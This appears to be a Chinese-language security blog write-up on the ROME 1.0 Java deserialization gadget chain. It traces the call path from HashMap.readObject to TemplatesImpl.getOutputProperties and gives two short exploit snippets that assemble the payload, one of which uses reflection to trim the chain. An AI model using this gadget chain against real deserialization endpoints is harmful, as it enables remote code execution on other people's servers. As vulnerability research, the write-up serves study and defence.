反序列化漏洞-rome
核心是
ToStringBean#toString()
会调用其封装类的所有无参getter
方法
依赖
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
调用链分析
TemplatesImpl.getOutputProperties()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
可见关键部分在ToStringBean.toString(String)
,这里会遍历prefix的所有属性的无参 getter 方法,并进行反射调用。
上面的调用也没啥好说的
com.sun.syndication.feed.impl.ToStringBean#toString()
com.sun.syndication.feed.impl.ObjectBean#toString
com.sun.syndication.feed.impl.EqualsBean#beanHashCode
com.sun.syndication.feed.impl.ObjectBean#hashCode
hashCode()的调用在之前CC链中很熟悉了,通过HashMap反序列化触发即可。
主要是看下com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object)
构造方法。
初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。其成员变量 EqualsBean/ToStringBean
类,分别为其提供了 equals
、 hashCode
/ toString
方法。
exp
写起来也很简单,直接套两层ObjectBean
即可
//获取恶意TemplatesImpl对象
TemplatesImpl obj = SerializeUtil.generateTemplatesImpl();
ObjectBean innerObjectBean = new ObjectBean(Templates.class,obj);
ObjectBean extObjectBean = new ObjectBean(ObjectBean.class,innerObjectBean);
Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
不过这样写会有触发两次且有点臃肿,可以直接通过反射设置里面的类属性。
即通过反射设置EqualsBean#_obj
为ToStringBean
,直接去调用ToStringBean#toString()
去掉了中间的ObjectBean#toString
。
TemplatesImpl obj = SerializeUtil.generateTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean extObjectBean = new ObjectBean(String.class,"test");
Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
SerializeUtil.setFieldValue(extObjectBean,"_equalsBean",equalsBean);